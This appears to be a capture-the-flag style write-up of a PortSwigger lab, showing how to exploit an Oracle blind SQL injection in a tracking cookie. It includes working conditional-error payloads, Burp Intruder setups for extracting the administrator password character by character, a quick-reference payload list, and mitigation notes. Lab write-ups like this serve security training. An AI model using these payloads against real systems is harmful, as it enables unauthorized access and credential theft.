Blind SQL injection with conditional errors
Blind SQL injection with conditional errors: Exploit a blind SQL injection in the tracking cookie to extract the administrator password and log in. • PortSwigger • Blind-SQL, SQL injection • blind-sql, sql-injection
🎯 Objective
Exploit a blind SQL injection in the tracking cookie to extract the administrator password and log in.
🧩 Scenario Snapshot
- Vulnerable parameter:
TrackingId(cookie) - Behavioral signal: The app never changes page content based on boolean results, but it does show a custom error page when the SQL raises an error.
- DBMS indicators:
FROM dualworks → Oracle. - Exploit primitive: Conditional error via
CASE ... THEN TO_CHAR(1/0) ...
🛠️ Tools & Setup
- Browser + Cookie Editor (or DevTools) to edit cookies.
- Burp Suite (Intruder handy for automation).
- Basic understanding of Oracle SQL functions:
dual,LENGTH,SUBSTR,TO_CHAR,CASE WHEN.
🔎 Recon & Confirmation
Inject a quote to confirm SQL context:
Cookie: TrackingId=xyz'Result: server returns an error page → input is reaching SQL.
Probe Oracle by forcing a valid subselect:
Cookie: TrackingId=xyz'||(SELECT 1 FROM dual)||'- No error (200 OK) →
dualexists → Oracle confirmed.
- No error (200 OK) →
Prove server executes our subquery by referencing a non-existent table:
Cookie: TrackingId=xyz'||(SELECT 1 FROM no_such_table)||'- Returns error → our subquery is executed server-side.
Check if
usersexists (safely limiting rows):Cookie: TrackingId=xyz'||(SELECT 1 FROM users WHERE ROWNUM=1)||'- 200 OK →
userstable exists. ROWNUM=1avoids “too many rows” issues when concatenating into a single scalar context.
- 200 OK →
Why
ROWNUM=1? When concatenating into a cookie‑evaluated scalar expression, returning more than one row raises an error.ROWNUM=1caps the result to at most one row.
💥 Error‑Based Primitive (Oracle)
Use a conditional divide‑by‑zero to turn TRUE into an HTTP 500 (custom error page) and FALSE into 200 OK.
Cookie: TrackingId=xyz'||(
SELECT CASE WHEN (1=1)
THEN TO_CHAR(1/0) -- force error
ELSE ''
END
FROM dual
)||'- Condition TRUE → error (HTTP 500 / custom error page)
- Condition FALSE → no error (200 OK)
Sanity check:
-- TRUE branch → error
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
-- FALSE branch → OK
'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'✅ Existence Test — administrator
Check whether the user exists by pushing the error only if the row is present:
Cookie: TrackingId=xyz'||(
SELECT CASE WHEN (1=1)
THEN TO_CHAR(1/0)
ELSE ''
END
FROM users
WHERE username='administrator' AND ROWNUM=1
)||'- HTTP 500 →
administratorexists.
If the row doesn’t exist, the subquery returns no rows → the outer concatenation receives NULL → no error.
📏 Length Discovery (Password)
Binary/iterative probe to find password length:
Template
Cookie: TrackingId=xyz'||(
SELECT CASE WHEN LENGTH(password) > N
THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator'
)||'- Increase
Nuntil the response stops erroring. - In this lab, iterations showed the cutoff at 20, implying:
LENGTH(password) = 20
Use Burp Intruder Sniper with payload list
0..40to find the threshold. Sort by Status or Length; errors will stand out.
🔤 Character Extraction (Position + Brute Force)
Extract characters one by one using SUBSTR(password,pos,1):
Manual Template
Cookie: TrackingId=xyz'||(
SELECT CASE
WHEN SUBSTR(password, {POS}, 1) = '{CHAR}'
THEN TO_CHAR(1/0)
ELSE ''
END
FROM users WHERE username='administrator'
)||'Burp Intruder (Cluster Bomb)
- Payload 1 (POS): numbers
1..20(password length) - Payload 2 (CHAR): alphanumerics (e.g.,
a-zA-Z0-9) or a custom wordlist
Mark positions:
'||(SELECT CASE WHEN SUBSTR(password, §POS§, 1)='§CHR§'
THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'- Sort on Status/Length/Grep-Error to spot the erroring cases.
- For each POS, the one
CHRthat causes an error is the correct character.
🧾 Result
From automated extraction, the password recovered was:
9z8g603lu7ppi3yuix6lLog in as administrator with the recovered password to solve the lab.
🧠 Why This Works (Oracle Nuances)
- The app reflects cookie value inside a SQL expression.
- We concatenate our subselect:
'||(SELECT ...)||' CASE WHEN ... THEN TO_CHAR(1/0)reliably throws on TRUE (Oracle raisesORA-01476: divisor is equal to zero), which maps to the app’s custom error page / HTTP 500.- Blind channel: We don’t see SQL output, but we do observe binary behavior (error vs no error), enough to reconstruct data.
🧯 Mitigations (Defender’s Notes)
- Parameterized queries / prepared statements for all cookie‑sourced input.
- Whitelist cookie format; reject non‑conforming values early.
- Use least privilege DB accounts; remove
SELECTon sensitive tables from app role. - Centralized error handling that normalizes all DB errors into the same response.
- Consider WAF only as a secondary control; do not rely on signatures alone.
📎 Quick Reference Payloads
Existence (table):
'||(SELECT 1 FROM users WHERE ROWNUM=1)||'Conditional error primitive:
'||(SELECT CASE WHEN (CONDITION) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'User exists:
'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator' AND ROWNUM=1)||'Length probe:
'||(SELECT CASE WHEN LENGTH(password)>N THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'Char-at-position:
'||(SELECT CASE WHEN SUBSTR(password,POS,1)='X' THEN TO_CHAR(1/0) ELSE '' END
FROM users WHERE username='administrator')||'🖼️ Screenshots (As Referenced)
- Injection confirmation:

- Oracle confirmed with
dual:
- Non-existent table error:

userstable existence test:
- Triggering conditional error:

- Length probing and extraction runs:

- Final login success:

🧪 Verification Checklist
- SQL context confirmed (quote breaks query)
- Oracle confirmed (
dualworks) - Error primitive validated (TRUE→error / FALSE→OK)
-
usersexists -
administratorexists - Password length identified
- All characters extracted
- Login as
administratorsuccessful
Author’s note: Mirrors your established ENHANCED structure (Objective → Scenario → Tools → Recon → Primitive → Exploit Steps → Result → Why it Works → Mitigations → Quick Ref → Screenshots → Checklist). Tweak section names as you prefer and I’ll keep future posts identical.